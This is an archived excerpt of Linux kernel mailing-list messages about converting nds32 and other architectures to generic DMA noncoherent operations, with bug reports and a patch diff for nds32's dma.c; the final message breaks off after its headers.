Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fB9Rv-00053P-Fo
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Apr 2018 03:42:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751264AbeDYBoc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Apr 2018 21:44:32 -0400
Original-Received: from mail-vk0-f65.google.com ([209.85.213.65]:45696 "EHLO
        mail-vk0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750862AbeDYBoZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Apr 2018 21:44:25 -0400
Original-Received: by mail-vk0-f65.google.com with SMTP id 203so12883593vka.12;
        Tue, 24 Apr 2018 18:44:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=3C51TpAG+K6U4V7FfaTVIUADFSk2HKkKNiJZSyN8GL8=;
        b=NaAbh05qJViXOqOiEfgycystPAKA+mFuFeB5JQX+7cwiVICz6Obkjq6Cr1880BjgIi
         lSPwju82rMkL/bEqO4Mi53uJ9n7CEfPbKMWINdE4NJQqaN1MgS2r8nCjWOyGH1dtk5+d
         Af1YJuy+zFu9tYWjydM1VjfT3KMbl5eddFFs8RiTGMDeEMpenZ70HEAb8mgSwNj+v38C
         OiwGZCmYNaA9dToqJexnS+cyvE6ufq9SgjH9SyMcV20SQOjOzXuUjE1cBhISYrgTfDbx
         vd1XNPHl65w5x0bfOaQHGw3/Ta6+NxC5NdmNtXYAm59W5IKh/gZ4juOmE+7D4Fw6goSb
         zoPw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=3C51TpAG+K6U4V7FfaTVIUADFSk2HKkKNiJZSyN8GL8=;
        b=THba2xyVXeJvhRHBp2hJkHXPKFKd4A8/aRnMgR+pODEWvRD9EW4BQl/yGJxfWmgg2Y
         n4Uud2836fzduCCMVc0zA3p8kTRLrwFJCbYJd8wP3Zgm/kohkXIqgybezFbvW7nFOraY
         yuFldA7ftFlgJ6Mc1bJeMlu3zOd+ezxlySR/RFMfBPUg1h62iv4VQH4NfUDYNpCkvoG0
         L8kms107Of6AF3hf/lK38+6qIyMwq2/Oh9/xs9QhMQCNtfClOYkxRktzyJvZg5QYxxxv
         3AlKojqHtx5qRU90iEkHwaSDdkegf9P9Yi8lO1zX9IzdQzjacLUPCZTvqSxMG9fOJpzV
         +UGQ==
X-Gm-Message-State: ALQs6tAUBA9pHShd5TubUgDG6+Ah3LgHJzvko2BpDVrxuCWZOcpXpORu
        DNFbjVU8sENkK8HXpDdX0iMjKclUD9bvYORIsNw=
X-Google-Smtp-Source: AB8JxZqfPG2e57TH7R4mZ2iUV+TwoJoLWOBEjXzMCzWmN9yWUBVBiSx8Okq0Y3BVPL/SHNmtYYW5E/GaJVG5Zdoya4w=
X-Received: by 10.31.80.68 with SMTP id e65mr4152263vkb.182.1524620664497;
 Tue, 24 Apr 2018 18:44:24 -0700 (PDT)
Original-Received: by 10.176.92.86 with HTTP; Tue, 24 Apr 2018 18:43:43 -0700 (PDT)
In-Reply-To: <20180424191640.GA32495@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2750476 gmane.linux.kernel.cross-arch:43672 gmane.linux.ports.alpha:4994 gmane.linux.kernel.arc:3836 gmane.linux.ports.arm.kernel:645785 gmane.linux.ports.hexagon:1676 gmane.linux.ports.parisc:28563 gmane.linux.ports.sh.devel:56915 gmane.linux.ports.sparc:27764
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2750476>

2018-04-25 3:16 GMT+08:00 Christoph Hellwig <hch@lst.de>:
> Hi Greentime,
>
> thanks for testing the patch!
>
> It looks like nds32 doesn't have a buildbot yet, so this code didn't
> even get syntax checkin, sorry.
>
> Below is the incremental fixes based on this thread.
>
> Can you check if my tree works if you just revert the
> "nds32: use generic dma_noncoherent_ops" commit?
>
> diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
> index 688f1a03dee6..48018275e7f4 100644
> --- a/arch/nds32/kernel/dma.c
> +++ b/arch/nds32/kernel/dma.c
> @@ -330,7 +330,7 @@ void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
>         void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
>         unsigned long start = (unsigned long)addr;
>
> -       switch (direction) {
> +       switch (dir) {
>         case DMA_FROM_DEVICE:
>                 break;
>         case DMA_TO_DEVICE:
> @@ -350,12 +350,12 @@ void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
>         void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
>         unsigned long start = (unsigned long)addr;
>
> -       switch (direction) {
> +       switch (dir) {
>         case DMA_TO_DEVICE:
>                 break;
>         case DMA_FROM_DEVICE:
>         case DMA_BIDIRECTIONAL:
> -               cpu_dma_inval_range(start, end);
> +               cpu_dma_inval_range(start, start + size);
>                 break;
>         default:
>                 BUG();

Hi Crhistoph,

The ftmac100 works if I revert this commit.

commit de46b9ba5298aafc47284735a4f21baa8e4ed4b7
Author: Greentime Hu <greentime@andestech.com>
Date:   Wed Apr 25 09:33:51 2018 +0800

    Revert "nds32: use generic dma_noncoherent_ops"

    This reverts commit 0489ce952072e7542456e0d962437062916ce0df.


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 08:40:55 +0200
Lines: 319
Approved: news@gmane.org
Message-ID: <20180425064055.GA11460@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de> <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com> <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524638246 3978 195.159.176.226 (25 Apr 2018 06:37:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 06:37:26 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>,
        linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Greentime Hu <green.hu@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 25 08:37:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBE3L-0005TT-8S
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Apr 2018 08:37:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751394AbeDYGj2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 25 Apr 2018 02:39:28 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:35008 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750841AbeDYGjW (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Apr 2018 02:39:22 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 009CC68DB3; Wed, 25 Apr 2018 08:40:55 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2750615 gmane.linux.kernel.cross-arch:43674 gmane.linux.ports.alpha:4995 gmane.linux.kernel.arc:3837 gmane.linux.ports.arm.kernel:645841 gmane.linux.ports.hexagon:1677 gmane.linux.ports.parisc:28564 gmane.linux.ports.sh.devel:56916 gmane.linux.ports.sparc:27779
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2750615>

On Wed, Apr 25, 2018 at 09:43:43AM +0800, Greentime Hu wrote:
> Hi Crhistoph,
> 
> The ftmac100 works if I revert this commit.

Thanks.  ftmac100 only use dma_map_page, which in the old nds32 code
is just doing a plain page_address and never kmaps.  Can you apply
the patch below on the tree with the origin "nds32: use generic
dma_noncoherent_ops" reverted?  This always just uses page_address,
although that, just like the original code is broken if you actually
have highmem that needs to be mapped:

---
>From 1dc5d1cae4cd7b9ce03d0e2943364ed4cca938d7 Mon Sep 17 00:00:00 2001
From: Christoph Hellwig <hch@lst.de>
Date: Mon, 16 Apr 2018 19:20:30 +0200
Subject: nds32: use generic dma_noncoherent_ops

Switch to the generic noncoherent direct mapping implementation.

This makes sure the cache_sync routines is called in the unmap_sg
case, to match the unmap_single and sync_{single,sg}_to_cpu cases.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nds32/Kconfig                   |   3 +
 arch/nds32/include/asm/Kbuild        |   1 +
 arch/nds32/include/asm/dma-mapping.h |  14 ---
 arch/nds32/kernel/dma.c              | 182 +++++----------------------
 4 files changed, 37 insertions(+), 163 deletions(-)
 delete mode 100644 arch/nds32/include/asm/dma-mapping.h

diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
index 249f38d3388f..67d0ac0a989c 100644
--- a/arch/nds32/Kconfig
+++ b/arch/nds32/Kconfig
@@ -5,10 +5,13 @@
 
 config NDS32
         def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS if FTRACE
 	select CLKSRC_MMIO
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CPU_DEVICES
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index 06bdf8167f5a..b3e951f805f8 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += cputime.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
deleted file mode 100644
index 2dd47d245c25..000000000000
--- a/arch/nds32/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,14 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-// Copyright (C) 2005-2017 Andes Technology Corporation
-
-#ifndef ASMNDS32_DMA_MAPPING_H
-#define ASMNDS32_DMA_MAPPING_H
-
-extern struct dma_map_ops nds32_dma_ops;
-
-static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nds32_dma_ops;
-}
-
-#endif
diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index d291800fc621..78311a1e6fd1 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -3,17 +3,14 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <linux/highmem.h>
 #include <linux/slab.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/dma-mapping.h>
 #include <asm/proc-fns.h>
 
 /*
@@ -22,11 +19,6 @@
 static pte_t *consistent_pte;
 static DEFINE_RAW_SPINLOCK(consistent_lock);
 
-enum master_type {
-	FOR_CPU = 0,
-	FOR_DEVICE = 1,
-};
-
 /*
  * VM region handling support.
  *
@@ -124,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
 	return c;
 }
 
-/* FIXME: attrs is not used. */
-static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
-				      dma_addr_t * handle, gfp_t gfp,
-				      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	struct page *page;
 	struct arch_vm_region *c;
@@ -232,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
 	return NULL;
 }
 
-static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
-			   dma_addr_t handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t handle, unsigned long attrs)
 {
 	struct arch_vm_region *c;
 	unsigned long flags, addr;
@@ -333,145 +323,39 @@ static int __init consistent_init(void)
 }
 
 core_initcall(consistent_init);
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
-static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
-				     unsigned long offset, size_t size,
-				     enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
-	return page_to_phys(page) + offset;
-}
 
-static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir,
-				 unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
-}
-
-/*
- * Make an area consistent for devices.
- */
-static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
-{
-	unsigned long start = (unsigned long)vaddr;
-	unsigned long end = start + size;
-
-	if (master_type == FOR_CPU) {
-		switch (direction) {
-		case DMA_TO_DEVICE:
-			break;
-		case DMA_FROM_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_inval_range(start, end);
-			break;
-		default:
-			BUG();
-		}
-	} else {
-		/* FOR_DEVICE */
-		switch (direction) {
-		case DMA_FROM_DEVICE:
-			break;
-		case DMA_TO_DEVICE:
-		case DMA_BIDIRECTIONAL:
-			cpu_dma_wb_range(start, end);
-			break;
-		default:
-			BUG();
-		}
+	void *addr = phys_to_virt(paddr);
+	unsigned long start = (unsigned long)addr;
+
+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		break;
+	case DMA_TO_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_wb_range(start, start + size);
+		break;
+	default:
+		BUG();
 	}
 }
 
-static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-			    int nents, enum dma_data_direction dir,
-			    unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		void *virt;
-		unsigned long pfn;
-		struct page *page = sg_page(sg);
-
-		sg->dma_address = sg_phys(sg);
-		pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
-		page = pfn_to_page(pfn);
-		if (PageHighMem(page)) {
-			virt = kmap_atomic(page);
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-			kunmap_atomic(virt);
-		} else {
-			if (sg->offset > PAGE_SIZE)
-				panic("sg->offset:%08x > PAGE_SIZE\n",
-				      sg->offset);
-			virt = page_address(page) + sg->offset;
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-		}
+	void *addr = phys_to_virt(paddr);
+	unsigned long start = (unsigned long)addr;
+
+	switch (dir) {
+	case DMA_TO_DEVICE:
+		break;
+	case DMA_FROM_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_inval_range(start, start + size);
+		break;
+	default:
+		BUG();
 	}
-	return nents;
 }
-
-static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			       int nhwentries, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
-}
-
-static void
-nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			      size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
-}
-
-static void
-nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
-}
-
-static void
-nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
-			  enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_CPU);
-	}
-}
-
-static void
-nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_DEVICE);
-	}
-}
-
-struct dma_map_ops nds32_dma_ops = {
-	.alloc = nds32_dma_alloc_coherent,
-	.free = nds32_dma_free,
-	.map_page = nds32_dma_map_page,
-	.unmap_page = nds32_dma_unmap_page,
-	.map_sg = nds32_dma_map_sg,
-	.unmap_sg = nds32_dma_unmap_sg,
-	.sync_single_for_device = nds32_dma_sync_single_for_device,
-	.sync_single_for_cpu = nds32_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu = nds32_dma_sync_sg_for_cpu,
-	.sync_sg_for_device = nds32_dma_sync_sg_for_device,
-};
-
-EXPORT_SYMBOL(nds32_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 09:21:05 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20180425072105.GA12308@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-23-hch@lst.de> <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524640655 685 195.159.176.226 (25 Apr 2018 07:17:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 07:17:35 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, linux-arch@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 25 09:17:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBEgD-0008US-FW
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Apr 2018 09:17:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751593AbeDYHTh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 25 Apr 2018 03:19:37 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:35208 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751022AbeDYHTb (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Apr 2018 03:19:31 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id A7011700DE; Wed, 25 Apr 2018 09:21:05 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2750653 gmane.linux.kernel.cross-arch:43675 gmane.linux.ports.alpha:4996 gmane.linux.kernel.arc:3838 gmane.linux.ports.arm.kernel:645847 gmane.linux.ports.hexagon:1678 gmane.linux.ports.parisc:28565 gmane.linux.ports.sh.devel:56917 gmane.linux.ports.sparc:27780
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2750653>

On Sat, Apr 21, 2018 at 07:43:46PM +0200, Helge Deller wrote:
> This patch breaks a 32bit kernel on a B160L machine (PA7300LC CPU, "pcxl2").
> After applying this patch series the lasi82956 network driver works unreliable. 
> NIC gets IP, but ping doesn't work.
> See drivers/net/ethernet/i825xx/lasi_82596.c, it uses dma*sync() functions.

Just to confirm:  Without the series it is known to actually work?


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin@synopsys.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc
Subject: Re: [PATCH 06/22] arc: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 11:17:01 +0000
Lines: 85
Approved: news@gmane.org
Message-ID: <1524655020.5315.9.camel@synopsys.com>
References: <20180420080313.18796-1-hch@lst.de>
 <20180420080313.18796-7-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524654927 27479 195.159.176.226 (25 Apr 2018 11:15:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 11:15:27 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
 "linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
 "monstr@monstr.eu" <monstr@monstr.eu>,
 "linux-snps-arc@lists.infradead.org" <linux-snps-arc@lists.infradead.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "linux-m68k@lists.linux-m68k.org" <linux-m68k@lists.linux-m68k.org>,
 "openrisc@lists.librecores.org" <openrisc@lists.librecores.org>,
 "green.hu@gmail.com" <green.hu@gmail.com>,
 "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "nios2-dev@lists.rocketboards.org" <nios
To: "hch@lst.de" <hch@lst.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Apr 25 13:15:22 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fBIOP-00070j-TG
	for linux-arm-kernel@m.gmane.org; Wed, 25 Apr 2018 13:15:22 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:Content-ID:In-Reply-To:
	References:Message-ID:Date:Subject:To:From:Reply-To:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=IeIu0zHW83X6zkERzgnyiomyZLl1Xj7w6e3b80jmzus=; b=nUimkZUm3fvgax
	N/8VsSYR/9bKwc+VKLMJwlGIBwv7N7PWuqPrswd69pDCb4POi3zj1Z/LOKNnIkP6xB84xppr6+ZbL
	RpE1JCz+yQbhPB7rx3xRGjWl0Vqy15c6xjmpiJSj6GWkyRdXarVZ0mkpDYcjfDqyniYvhU2T5LN7F
	0MFJfUwkosvy7J0oFBElIt8I+Vb945EQE8OOJFCG+7imwKmrgG13FKprXWwmfcRnx4K/Z+Z7QrmvY
	8qEEf5QSm1vg+Ww3YszyHz5L7QcAD/gmwrA/LfNn2affKi10ZIX4HF0S1NNH0TFQfOw/q4tErnyyi
	f1bHA/r7I1HlZ5wtnvdA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fBIQQ-0002Rb-1f; Wed, 25 Apr 2018 11:17:26 +0000
Original-Received: from smtprelay2.synopsys.com ([198.182.60.111]
 helo=smtprelay.synopsys.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fBIQJ-0002Ql-SE; Wed, 25 Apr 2018 11:17:21 +0000
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
 by smtprelay.synopsys.com (Postfix) with ESMTP id E552D10C13E7;
 Wed, 25 Apr 2018 04:17:05 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com
 (us01wehtc3.internal.synopsys.com [10.15.84.232])
 by mailhost.synopsys.com (Postfix) with ESMTP id 8BAA55E1F;
 Wed, 25 Apr 2018 04:17:04 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.3.361.1; Wed, 25 Apr 2018 04:17:04 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
 by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
 14.03.0361.001; Wed, 25 Apr 2018 13:17:02 +0200
Thread-Topic: [PATCH 06/22] arc: use generic dma_noncoherent_ops
Thread-Index: AQHT2H4VURtktiHrREGui6QsrcbxH6QJKXmAgAgR3wA=
In-Reply-To: <20180420080313.18796-7-hch@lst.de>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
